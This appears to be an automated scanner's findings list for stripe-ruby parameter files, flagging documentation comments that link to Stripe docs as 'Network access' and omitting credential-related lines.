    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 2551
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2559
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2602
    #       # If you intend to collect a fee and you need a more robust reporting experience, using       # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount)
  • Network accessline 2603
    # If you intend to collect a fee and you need a more robust reporting experience, using       # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount)       # might be a bet
  • Network accessline 2604
    # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount)
  • Network accessline 2618
    # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥
  • Network accessline 2622
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 2628
    # Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) immediately. This parameter defaults to `false`. When creating and confirming a PaymentIntent at the same time, you can also pro
  • Network accessline 2636
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2640
    # Payment methods attached to other Customers cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not
  • Network accessline 2642
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be
  • Network accessline 2646
    # Payment methods attached to other Accounts cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not 
  • Network accessline 2648
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee
  • Network accessline 2652
    # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter for simpler integrations that don't handle customer actions, such as [saving cards without authentication](https://docs.
  • Network accessline 2660
    # ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm).
  • Network accessline 2662
    # This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm).
  • Network accessline 2664
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2666
    # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay
  • Network accessline 2668
    # The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 2672
    # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent.
  • Network accessline 2673
    #     # If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that 
  • Network accessline 2674
    # If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that you ex
  • Network accessline 2675
    # If the payment method is attached to a Customer, you must also provide the ID of that Customer as the [customer](https://api.stripe.com#create_payment_intent-customer) parameter of this PaymentIntent.
  • Network accessline 2678
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent.
  • Network accessline 2680
    # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 2681
    # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 2686
    # The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/sett
  • Network accessline 2688
    # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session).
  • Network accessline 2690
    # Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 2692
    # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. If you'd prefer to redirect to a mobile application, you can alternatively supply an application URI scheme. Th
  • Network accessline 2704
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 2706
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 2708
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 2710
    # The parameters that you can use to automatically create a Transfer.     # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 2711
    # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 2713
    # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_increment_authorization_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 82
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 91
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 107
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 134
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 149
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 158
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 180
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 232
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 240
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 244
    # Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit
  • Network accessline 246
    # The parameters used to automatically create a transfer after the payment is captured.     # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 247
    # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_retrieve_params.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 11
    [Credential-related source omitted]
  • Access to secretsline 12
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_search_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for payment intents](https://docs.stripe.com/search#query-fields-for-payment-intents).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 82
    # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 91
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 107
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.
  • Network accessline 134
    # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0.
  • Network accessline 149
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 158
    # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 180
    # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id
  • Network accessline 273
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 281
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 476
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 596
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 624
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Access to secretsline 768
    [Credential-related source omitted]
  • Access to secretsline 769
    [Credential-related source omitted]
  • Network accessline 1207
    # Installment configuration for payments attempted on this PaymentIntent.         #         # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1209
    # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments).
  • Network accessline 1219
    # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent.
  • Network accessline 1221
    # Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent.
  • Network accessline 1223
    # Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent.
  • Network accessline 1225
    # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent.
  • Network accessline 1227
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1301
    # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity)
  • Network accessline 1303
    # Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe.
  • Network accessline 1880
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 2489
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2497
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 2544
    # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥
  • Network accessline 2548
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 2552
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2556
    # Payment methods attached to other Customers cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not
  • Network accessline 2558
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be
  • Network accessline 2562
    # Payment methods attached to other Accounts cannot be used with this PaymentIntent.     #     # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not 
  • Network accessline 2564
    # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee
  • Network accessline 2574
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2578
    # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. To unset this field to null, pass in an empty s
  • Network accessline 2580
    # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent.
  • Network accessline 2582
    # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear     # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 2583
    # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method)
  • Network accessline 2588
    # The list of payment method types (for example, card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list of 
  • Network accessline 2590
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 2604
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 2606
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 2608
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 2610
    # Use this parameter to automatically create a Transfer when the payment succeeds. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 2612
    # A string that identifies the resulting payment as part of a group. You can only provide `transfer_group` if it hasn't been set. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_verify_microdeposits_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko
  • Network accessline 50
    # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 79
    # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay.       # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public).
  • Network accessline 80
    # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public).
  • Network accessline 294
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 350
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 354
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 387
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 389
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 391
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 395
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 422
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.
  • Network accessline 424
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 489
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.
  • Network accessline 506
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie
  • Network accessline 508
    # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment method collected by this Checkout Session.
  • Network accessline 520
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 522
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 524
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 526
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 634
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i
  • Network accessline 696
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) and supported by each line item's price.
  • Network accessline 702
    # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).
  • Network accessline 712
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 718
    # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices).
  • Network accessline 726
    # Can only be set in `subscription` mode. Defaults to `always`.     #     # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip
  • Network accessline 728
    # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).
  • Network accessline 730
    # The list of payment method types that customers can use. If no value is passed, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/settings/payment_methods) (20+ payment 
  • Network accessline 740
    # The shipping rate options to apply to [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link.
  • Network accessline 742
    # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_list_line_items_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_link_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    # The URL the customer will be redirected to after the purchase is complete. You can embed `{CHECKOUT_SESSION_ID}` into the URL to have the `id` of the completed [checkout session](https://docs.stripe.com/api/checkout/sessions/object#checko
  • Network accessline 50
    # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 267
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 368
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link. Unlike object-level metadata, this fie
  • Network accessline 370
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 372
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 374
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 376
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 469
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will declaratively set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link. Unlike object-level metadata, this field i
  • Network accessline 514
    # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).
  • Network accessline 524
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 532
    # Can only be set in `subscription` mode. Defaults to `always`.     #     # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip
  • Network accessline 534
    # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).
  • Network accessline 536
    # The list of payment method types that customers can use. Pass an empty string to enable dynamic payment methods that use your [payment method settings](https://dashboard.stripe.com/settings/payment_methods).
  • Network accessline 546
    # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_attach_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_method_configuration_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 957
    # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.
  • Network accessline 959
    # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic
  • Network accessline 961
    # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses 
  • Network accessline 963
    # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by
  • Network accessline 969
    # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, 
  • Network accessline 973
    # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details.
  • Network accessline 975
    # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details.
  • Network accessline 977
    # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on
  • Network accessline 979
    # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap
  • Network accessline 981
    # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b
  • Network accessline 983
    # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.
  • Network accessline 987
    # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [
  • Network accessline 989
    # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details.
  • Network accessline 991
    # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.
  • Network accessline 993
    # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details.
  • Network accessline 995
    # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page](
  • Network accessline 999
    # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay
  • Network accessline 1001
    # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben
  • Network accessline 1003
    # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban
  • Network accessline 1005
    # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a
  • Network accessline 1007
    # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/
  • Network accessline 1009
    # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli
  • Network accessline 1011
    # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U
  • Network accessline 1015
    # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay
  • Network accessline 1017
    # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.
  • Network accessline 1021
    # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network.
  • Network accessline 1023
    # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details.
  • Network accessline 1025
    # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods
  • Network accessline 1027
    # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method.
  • Network accessline 1033
    # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details.
  • Network accessline 1035
    # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t
  • Network accessline 1037
    # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way
  • Network accessline 1043
    # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1045
    # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa
